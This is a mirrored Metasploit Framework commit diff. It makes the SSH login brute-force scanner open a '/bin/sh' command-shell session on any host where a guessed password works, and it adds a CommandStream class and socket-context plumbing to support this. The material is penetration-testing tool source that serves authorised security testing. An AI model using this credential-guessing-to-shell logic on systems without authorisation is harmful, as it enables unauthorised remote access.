mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
The ssh login code can now create sessions
git-svn-id: file:///home/svn/framework3/trunk@8598 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
455434a9f2
commit
d148c95c84
@ -4,7 +4,7 @@ module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
#
|
||||
# This class provides basic interaction with a command shell on the remote
|
||||
# endpoint. This session is initialized with a stream that will be used
|
||||
# as the pipe for reading and writing the command shell.
|
||||
@ -84,3 +84,4 @@ end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1,24 +1,9 @@
|
||||
require 'rex/socket'
|
||||
|
||||
# Monkeypatch rex/socket so Net::SSH's calls to TCPSocket.open and
|
||||
# TCPSocket.new work when they're sent instead to
|
||||
# Rex::Socket::Tcp.connect
|
||||
|
||||
module Rex::Socket::Tcp
|
||||
def self.connect(host,port)
|
||||
self.create(
|
||||
'PeerHost' => host,
|
||||
'PeerPort' => port
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# Make sure HOME is set, regardless of OS, so that File.expand_path works
|
||||
# as expected with tilde characters.
|
||||
ENV['HOME'] ||= ENV['HOMEPATH'] ? "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}" : "."
|
||||
|
||||
|
||||
|
||||
require 'logger'
|
||||
|
||||
require 'net/ssh/config'
|
||||
@ -27,6 +12,7 @@ require 'net/ssh/loggable'
|
||||
require 'net/ssh/transport/session'
|
||||
require 'net/ssh/authentication/session'
|
||||
require 'net/ssh/connection/session'
|
||||
require 'net/ssh/command_stream'
|
||||
|
||||
module Net
|
||||
|
||||
@ -83,7 +69,7 @@ module Net
|
||||
:logger, :paranoid, :password, :port, :proxy, :rekey_blocks_limit,
|
||||
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
|
||||
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
|
||||
:host_name, :user, :properties, :passphrase
|
||||
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule
|
||||
]
|
||||
|
||||
# The standard means of starting a new SSH connection. When used with a
|
||||
|
104
lib/net/ssh/command_stream.rb
Normal file
104
lib/net/ssh/command_stream.rb
Normal file
@ -0,0 +1,104 @@
|
||||
require 'rex'
|
||||
|
||||
module Net
|
||||
module SSH
|
||||
|
||||
class CommandStream
|
||||
|
||||
attr_accessor :channel, :thread, :error, :ssh
|
||||
attr_accessor :lsock, :rsock, :monitor
|
||||
|
||||
module PeerInfo
|
||||
include ::Rex::IO::Stream
|
||||
attr_accessor :peerinfo
|
||||
attr_accessor :localinfo
|
||||
end
|
||||
|
||||
def initialize(ssh, cmd, cleanup = false)
|
||||
|
||||
self.lsock, self.rsock = Rex::Socket.tcp_socket_pair()
|
||||
self.lsock.extend(Rex::IO::Stream)
|
||||
self.lsock.extend(PeerInfo)
|
||||
self.rsock.extend(Rex::IO::Stream)
|
||||
|
||||
self.ssh = ssh
|
||||
self.thread = Thread.new(ssh,cmd,cleanup) do |rssh,rcmd,rcleanup|
|
||||
|
||||
begin
|
||||
|
||||
info = ssh.transport.socket.getpeername
|
||||
self.lsock.peerinfo = "#{info[1]}:#{info[2]}"
|
||||
|
||||
info = ssh.transport.socket.getsockname
|
||||
self.lsock.localinfo = "#{info[1]}:#{info[2]}"
|
||||
|
||||
rssh.open_channel do |rch|
|
||||
rch.exec(rcmd) do |c, success|
|
||||
raise "could not execute command: #{rcmd.inspect}" unless success
|
||||
|
||||
c[:data] = ''
|
||||
|
||||
c.on_eof do
|
||||
self.rsock.close
|
||||
self.thread.kill
|
||||
end
|
||||
|
||||
c.on_close do
|
||||
self.rsock.close
|
||||
self.thread.kill
|
||||
end
|
||||
|
||||
c.on_data do |ch,data|
|
||||
self.rsock.write(data)
|
||||
end
|
||||
|
||||
c.on_extended_data do |ch, ctype, data|
|
||||
self.rsock.write(data)
|
||||
end
|
||||
|
||||
self.channel = c
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
self.monitor = Thread.new do
|
||||
while(true)
|
||||
next if not self.rsock.has_read_data?(1.0)
|
||||
buff = self.rsock.sysread(16384)
|
||||
break if not buff
|
||||
verify_channel
|
||||
self.channel.send_data(buff) if buff
|
||||
end
|
||||
end
|
||||
|
||||
while true
|
||||
rssh.process(0.5) { true }
|
||||
end
|
||||
|
||||
rescue ::Exception => e
|
||||
self.error = e
|
||||
ensure
|
||||
self.monitor.kill if self.monitor
|
||||
end
|
||||
|
||||
# Shut down the SSH session if requested
|
||||
if(rcleanup)
|
||||
rssh.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Prevent a race condition
|
||||
#
|
||||
def verify_channel
|
||||
while ! self.channel
|
||||
raise EOFError if ! self.thread.alive?
|
||||
select(nil, nil, nil, 0.10)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -61,8 +61,23 @@ module Net; module SSH; module Transport
|
||||
@options = options
|
||||
|
||||
debug { "establishing connection to #{@host}:#{@port}" }
|
||||
factory = options[:proxy] || Rex::Socket::Tcp
|
||||
@socket = timeout(options[:timeout] || 0) { factory.connect(@host, @port) }
|
||||
factory = options[:proxy]
|
||||
|
||||
if (factory)
|
||||
@socket = timeout(options[:timeout] || 0) { factory.connect(@host, @port) }
|
||||
else
|
||||
@socket = timeout(options[:timeout] || 0) {
|
||||
Rex::Socket::Tcp.create(
|
||||
'PeerHost' => @host,
|
||||
'PeerPort' => @port,
|
||||
'Context' => {
|
||||
'Msf' => options[:msframework],
|
||||
'MsfExploit' => options[:msfmodule]
|
||||
}
|
||||
)
|
||||
}
|
||||
end
|
||||
|
||||
@socket.extend(PacketStream)
|
||||
@socket.logger = @logger
|
||||
|
||||
@ -274,3 +289,4 @@ module Net; module SSH; module Transport
|
||||
end
|
||||
end
|
||||
end; end; end
|
||||
|
||||
|
@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def do_login(ip,user,pass,port)
|
||||
opt_hash = {
|
||||
:password => pass,
|
||||
:auth_methods => ['password','keyboard-interactive'],
|
||||
:port => port
|
||||
:msframework => framework,
|
||||
:msfmodule => self,
|
||||
:port => port,
|
||||
:password => pass
|
||||
}
|
||||
|
||||
begin
|
||||
@ -69,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
rescue Net::SSH::Exception
|
||||
return [:fail,nil] # For whatever reason. Can't tell if passwords are on/off without timing responses.
|
||||
end
|
||||
|
||||
if self.ssh_socket
|
||||
proof = ''
|
||||
begin
|
||||
@ -81,7 +84,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
self.ssh_socket.close
|
||||
# Create a new session
|
||||
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
|
||||
sess = Msf::Sessions::CommandShell.new(conn.lsock)
|
||||
sess.set_from_exploit(self)
|
||||
framework.sessions.register(sess)
|
||||
|
||||
return [:success, proof]
|
||||
else
|
||||
return [:fail, nil]
|
||||
|
Loading…
Reference in New Issue
Block a user